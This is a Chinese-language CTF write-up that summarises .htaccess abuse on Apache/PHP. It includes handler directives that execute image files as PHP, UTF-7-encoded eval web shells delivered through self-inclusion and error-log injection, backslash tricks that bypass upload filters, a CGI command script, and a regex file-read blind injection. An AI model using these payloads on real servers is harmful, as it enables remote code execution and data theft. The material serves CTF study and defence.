htaccess利用总结

htaccess文件是一个简单的配置文件,可以重写某个目录以及子目录下的apache解析规则。使用htaccess文件重写规则需要将apache配置文件中的AllowOverride选项设置为All(默认为None)。在CTF中的某些文件上传的题目中可以使用htaccess文件绕过过滤。

使用方法

下面是一些htaccess文件常规的使用方法

访问控制

可以设置允许或者禁止某个IP访问,也可以将htaccess文件设置为deny from all禁止htaccess文件的访问,防止htaccess文件被查看

1
2
3
4
5
<Files eastjun.php>
order allow,deny
allow from all
deny from 1.1.1.1
</Files>

文件名还可以使用通配符和正则表达式,下面的配置可以设置了仅允许本地访问i开头的文件,下面的是正则表达式,如果用通配符可以将文件名写成i*.php

1
2
3
4
5
<Files ~ "^i.*\.php$">
order deny,allow
deny from all
allow from 127.0.0.1
</Files>

自定义错误页面

在htaccess文件中加入如下的一段规则可以自定义404页面,除此之外也能自定义其他状态码的错误页面。不过其中的根目录指的是网站根目录而非linux根目录,无法进行目录穿越

1
ErrorDocument 404 /error/404.html

允许/禁止显示目录列表

在允许目录遍历的情况下加入如下的一段规可禁止显示目录列表:

1
Options Indexes

目录重定向

写入如下的规则后访问/old目录会自动跳转到/new目录

1
Redirect 301 /old /new

文件解析

文件上传中比较常用的方法,在过滤php后缀时可以先上传图片马,然后上传.htaccess文件使得图片马可以被执行

SetHandler

强制目录下所有文件被一个指定的处理器处理

1
SetHandler application/x-httpd-php

AddHandler

使得扩展名与文件处理器之间建立映射

1
AddHandler application/x-httpd-php .jpg

AddType

可以将给定的文件扩展名映射到指定的文件类型

1
AddType application/x-httpd-php .jpg

修改php.ini中的选项

php_value

可用于修改php.ini中的设置,可以查看配置可被设定范围,然后可知.htaccess可用于PHP_INI_ALLPHP_INI_PERDIR模式的指令,然后在php.ini配置选项列表可以找到可用的指令

可以设置auto_prepend_file进行文件包含,包含的文件可以是php伪协议

1
php_value auto_prepend_file images.png

还可以在.htaccess文件中设置包含自己:

1
2
php_value auto_append_file .htaccess
#<?php phpinfo();

也可以设置正则回溯次数绕过preg_match函数

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

php_flag

可用于设置布尔值的 php配置指令,例如关闭php解析可以造成源码泄露

1
php_flag engine 0

执行CGI脚本

需要apache2启用cgi模块:

1
2
a2enmod cgi &&\
service apache2 restart

然后在htaccess文件中添加如下的规则以支持sh为后缀的cgi脚本的执行

1
2
Options ExecCGI
AddHandler cgi-script .sh

写入一个简单的CGI脚本可以执行命令并回显

#!/bin/sh
echo "Content-type: text/plain\r\n"
whoami

利用错误日志写马

这个思路应该是来自[XNUCA2019Qualifier]EasyPHP

先通过error_log配合include_path构造报错写马,为避免被html编码需要使用UTF-7编码

1
2
3
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw-?php+ACA-+AEA-eval(+ACQ-+AF8-POST+AFs-'shell'+AF0-)+ADs-+ACA-?+AD4-"

然后将php编码设置为UTF-7执行写入的UTF-7编码的php文件

1
2
3
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"

waf绕过

可以用反斜线绕过关键字的过滤,例如文件上传内容过滤php,可以用反斜线绕过对php的过滤

1
2
ph\
p_value auto_prepend_file images.png

绕过<?的过滤可以使用UTF-7编码,例如下面是一个设置了自包含的htaccess文件:

1
2
3
4
php_value auto_append_file .htaccess
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
#+ADw-?php+ACA-+AEA-eval(+ACQ-+AF8-POST+AFs-'shell'+AF0-)+ADs-+ACA-?+AD4-

使用#\可以注释最后一行的脏字符,使得.htaccess文件符合规范,例如在写入的文件末尾添加了"\nJust one chance"可以用#\将其注释掉,注释后的文件如下:

1
2
3
php_value auto_prepend_file images.png
#\
Just one chance

基于htaccess文件的盲注

今年津门CTF中Nu1L战队的wp里的盲注:

1
2
3
<If "file('/flag')=~ /flag{2/">
	ErrorDocument 404 "wupco"
</If>

file的目录为绝对目录,然后通过正则表达式将flag与字符串匹配进行盲注,如果flag能匹配上则在404页面中会有"wupco"字符,然后不断猜解字符可以进行盲注

Referer

htaccess利用总结

Apache的.htaccess利用技巧

.htaccess的使用技巧总结

深究用户利用.htaccess的原理篡改配置导致的安全问题

updatedupdated2023-05-202023-05-20